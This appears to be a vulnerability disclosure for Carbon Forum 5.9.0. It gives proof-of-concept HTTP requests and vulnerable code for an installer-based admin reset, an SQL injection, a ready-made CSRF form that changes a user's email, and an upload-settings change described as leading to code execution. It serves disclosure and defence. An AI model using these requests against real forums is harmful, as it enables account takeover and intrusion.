{-} Title => Carbon Forum 5.9.0 - Multiple Exploits
{-} Author => bRpsd [[email protected]]
{-} Date Release => 22 June, 2024
{-} Vendor => Carbon Forum <= 5.9.0
    Homepage => https://www.94cb.com/
  Download => https://github.com/lincanbin/Carbon-Forum
  Vulnerable Versions => 5.9.0 >=
  Tested Version => 5.9.0 on xampp Server.
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Vulnerability #1 : Reset Administrator Password & Database settings
File Path: http://localhost/Carbon-Forum/install/
INFO: The install folder remains after installation which allows attackers to recreate a new DB and have an admin account by default through registering the first user
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Vulnerability #2 : SQL Injection
Vulnerable Code: /Carbon-Forum/install/index.php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
  $fp = fopen(__DIR__ . '/database.sql', "r") or die("SQL文件无法打开。  The SQL File could not be opened.");
  //dobefore
  if (isset($_POST["Language"]) && isset($_POST["DBHost"]) && isset($_POST["DBName"]) && isset($_POST["DBUser"]) && isset($_POST["DBPassword"])) {
    $Language = $_POST['Language'];
    $DBHost = $_POST['DBHost'];
    $DBName = $_POST['DBName'];
    $DBUser = $_POST['DBUser'];
    $DBPassword = $_POST['DBPassword'];
    $SearchServer = $_POST['SearchServer'];
    $SearchPort = $_POST['SearchPort'];
    $EnableMemcache = $_POST['EnableMemcache'];
    $MemCachePrefix = $_POST['MemCachePrefix'];
  } else {
    die("An Unexpected Error Occured!");
  }
  //$WebsitePath = $_POST['WebsitePath'];
  $WebsitePath = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  if (preg_match('/(.*)\/install/i', $WebsitePath, $WebsitePathMatch)) {
    $WebsitePath = $WebsitePathMatch[1];
  } else {
    $WebsitePath = '';
  }
  //初始化数据库操作类
  require('../library/PDO.class.php');
  $DB = new Db($DBHost, 3306, '', $DBUser, $DBPassword);
  $DatabaseExist = $DB->single("SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME = :DBName", array('DBName' => $DBName));
  if (empty($DatabaseExist)) {
    $DB->query("CREATE DATABASE IF NOT EXISTS " . $DBName . ";");
  }
    POC Request:
POST http://localhost/Carbon-Forum/install/?
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Content-Length: 173
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/Carbon-Forum/install/
Cookie: CarbonBBS_View=desktop; CarbonBBS_UserID=5; CarbonBBS_UserExpirationTime=1721643860; CarbonBBS_UserCode=3ff84d77640629e72e311cd7a52e5df7; PHPSESSID=addf2aa242dcb91d00faf41e6d6b07b3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Language=en&DBHost=localhost&DBName=&DBUser=test'&DBPassword=&SearchServer=&SearchPort=&EnableMemcache=false&MemCachePrefix=carbon_&submit=安 装 / Install
Response:
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1
You can find the error back in the log.
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Vulnerability #3 : CSRF - Change users email 
File Path: http://localhost/Carbon-Forum/settings
Method: POST
Parameter : UserMail
Code:Carbon-Forum/controller/settings.php
POC:
    case 'UpdateUserInfo':
      $CurUserInfo['UserSex']      = intval(Request('POST', 'UserSex', 0));
      $CurUserInfo['UserMail']     = IsEmail(Request('POST', 'UserMail', $CurUserInfo['UserMail'])) ? Request('POST', 'UserMail', $CurUserInfo['UserMail']) : $CurUserInfo['UserMail'];
      $CurUserInfo['UserHomepage'] = CharCV(Request('POST', 'UserHomepage', $CurUserInfo['UserHomepage']));
      $CurUserInfo['UserIntro']    = CharCV(Request('POST', 'UserIntro', $CurUserInfo['UserIntro']));
      $UpdateUserInfoResult        = UpdateUserInfo(array(
        'UserSex' => $CurUserInfo['UserSex'],
        'UserMail' => $CurUserInfo['UserMail'],
        'UserHomepage' => $CurUserInfo['UserHomepage'],
        'UserIntro' => $CurUserInfo['UserIntro']
      ));
      if ($UpdateUserInfoResult) {
        $UpdateUserInfoMessage = $Lang['Profile_Modified_Successfully'];
<form method='POST' action='http://localhost/Carbon-Forum/settings'>
        <input type="hidden" name="Action" value="UpdateUserInfo">
        <input type="hidden" name="UserSex" value="0">
        <input type="hidden" name="UserMail" value="[email protected]">
        <input type="hidden" name="UserHomepage" value="">
        <input type="hidden" name="UserIntro" value="">
      <input type='submit' value='submit'>
    </form>
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Vulnerability #4 : Arbitrary File Upload - RCE [Authenticated]
Info: Administrator can change allowed files in dashboard -> parameter
POC POST:
http://localhost/Carbon-Forum/dashboard#dashboard4
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Content-Length: 14662
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/Carbon-Forum/dashboard
Cookie: CarbonBBS_UserID=5; CarbonBBS_UserExpirationTime=1721643860; CarbonBBS_UserCode=3ff84d77640629e72e311cd7a52e5df7; CarbonBBS_View=desktop
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Action=Parameter&UploadParameters=/* 前后端通信相关的配置,注释只允许使用多行方式 */ { /* 上传图片配置项 */ "imageActionName": "uploadimage", /* 执行上传图片的action名称 */ "imageFieldName": "upfile", /* 提交的图片表单名称 */ "imageMaxSize": 4096000, /* 上传大小限制，单位B */ "imageAllowFiles": [".png", ".jpg", ".jpeg", ".gif", ".bmp"], /* 上传图片格式显示 */ "imageCompressEnable": true, /* 是否压缩图片,默认是true */ "imageCompressBorder": 1600, /* 图片压缩最长边限制 */ "imageInsertAlign": "none", /* 插入的图片浮动方式 */ "imageUrlPrefix": "", /* 图片访问路径前缀 */ "imagePathFormat": "/upload/image/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */ /* {filename} 会替换成原文件名,配置这项需要注意中文乱码问题 */ /* {rand:6} 会替换成随机数,后面的数字是随机数的位数 */ /* {time} 会替换成时间戳 */ /* {yyyy} 会替换成四位年份 */ /* {yy} 会替换成两位年份 */ /* {mm} 会替换成两位月份 */ /* {dd} 会替换成两位日期 */ /* {hh} 会替换成两位小时 */ /* {ii} 会替换成两位分钟 */ /* {ss} 会替换成两位秒 */ /* 非法字符 \ : * ? " < > | */ /* 具请体看线上文档: fex.baidu.com/ueditor/#use-format_upload_filename */ /* 涂鸦图片上传配置项 */ "scrawlActionName": "uploadscrawl", /* 执行上传涂鸦的action名称 */ "scrawlFieldName": "upfile", /* 提交的图片表单名称 */ "scrawlPathFormat": "/upload/image/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */ "scrawlMaxSize": 2048000, /* 上传大小限制，单位B */ "scrawlUrlPrefix": "", /* 图片访问路径前缀 */ "scrawlInsertAlign": "none", "scrawlAllowFiles": [".png", ".jpg", ".jpeg", ".gif", ".bmp"], /* 截图工具上传 */ "snapscreenActionName": "uploadimage", /* 执行上传截图的action名称 */ "snapscreenPathFormat": "/upload/image/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */ "snapscreenUrlPrefix": "", /* 图片访问路径前缀 */ "snapscreenInsertAlign": "none", /* 插入的图片浮动方式 */ /* 抓取远程图片配置 */ "catcherLocalDomain": ["127.0.0.1", "localhost", "img.baidu.com"], "catcherActionName": "catchimage", /* 执行抓取远程图片的action名称 */ "catcherFieldName": "source", /* 提交的图片列表表单名称 */ "catcherPathFormat": "/upload/image/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */ "catcherUrlPrefix": "", /* 图片访问路径前缀 */ "catcherMaxSize": 2048000, /* 上传大小限制，单位B */ "catcherAllowFiles": [".png", ".jpg", ".jpeg", ".gif", ".bmp"], /* 抓取图片格式显示 */ /* 上传视频配置 */ "videoActionName": "uploadvideo", /* 执行上传视频的action名称 */ "videoFieldName": "upfile", /* 提交的视频表单名称 */ "videoPathFormat": "/upload/video/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */ "videoUrlPrefix": "", /* 视频访问路径前缀 */ "videoMaxSize": 20480000, /* 上传大小限制，单位B，默认20MB */ "videoAllowFiles": [ ".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg", ".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid"], /* 上传视频格式显示 */ /* 上传文件配置 */ "fileActionName": "uploadfile", /* controller里,执行上传视频的action名称 */ "fileFieldName": "upfile", /* 提交的文件表单名称 */ "filePathFormat": "/upload/file/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */ "fileUrlPrefix": "", /* 文件访问路径前缀 */ "fileMaxSize": 2048000, /* 上传大小限制，单位B，默认2MB */ "fileAllowFiles": [ ".png", ".jpg", ".jpeg", ".gif", ".bmp", ".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg", ".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid", ".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml" ], /* 上传文件格式显示 */ /* 列出指定目录下的图片 */ "imageManagerActionName": "listimage", /* 执行图片管理的action名称 */ "imageManagerListPath": "/upload/image/", /* 指定要列出图片的目录 */ "imageManagerListSize": 60, /* 每次列出文件数量 */ "imageManagerUrlPrefix": "", /* 图片访问路径前缀 */ "imageManagerInsertAlign": "none", /* 插入的图片浮动方式 */ "imageManagerAllowFiles": [".png", ".jpg", ".jpeg", ".gif", ".bmp"], /* 列出的文件类型 */ /* 列出指定目录下的文件 */ "fileManagerActionName": "listfile", /* 执行文件管理的action名称 */ "fileManagerListPath": "/upload/file/", /* 指定要列出文件的目录 */ "fileManagerUrlPrefix": "", /* 文件访问路径前缀 */ "fileManagerListSize": 60, /* 每次列出文件数量 */ "fileManagerAllowFiles": [ ".png", ".jpg", ".jpeg", ".gif", ".bmp", ".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg", ".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid", ".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml" ] /* 列出的文件类型 */ }&TextFilterParameter=/* 关键词过滤相关的配置,注释只允许使用多行方式 */ { /* 关键词均支持正则表达式，过多的过滤会影响性能 "fuck" : "f**k", 以上规则表示发表含fuck的内容，会被过滤为f**k "negro" : [false, 30], Don't issue text with "negro", or it will freeze for 30 seconds. "蛤" : [false, 30], 以上规则禁止发布含“蛤”的内容，并且尝试发表该内容的用户会被续(jin)掉(yan)30秒生命 "negro" : ["black", 30], "包子" : ["维尼", 30], 以上规则表示发表含"包子"的内容，会被过滤为"维尼"，并且在内容发表成功后，需要再等30秒才能发言 */ /* "fuck" : "f**k", "negro" : [false, 30], "蛤" : [false, 30], "negro" : ["black", 30], "包子" : ["维尼", 30] */ }&submit=Save settings
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Vulnerability #4 : Vulnerable PHPMailer library
File: /Carbon-Forum/library/PHPMailer.class.php
Version: $Version = '5.2.16';
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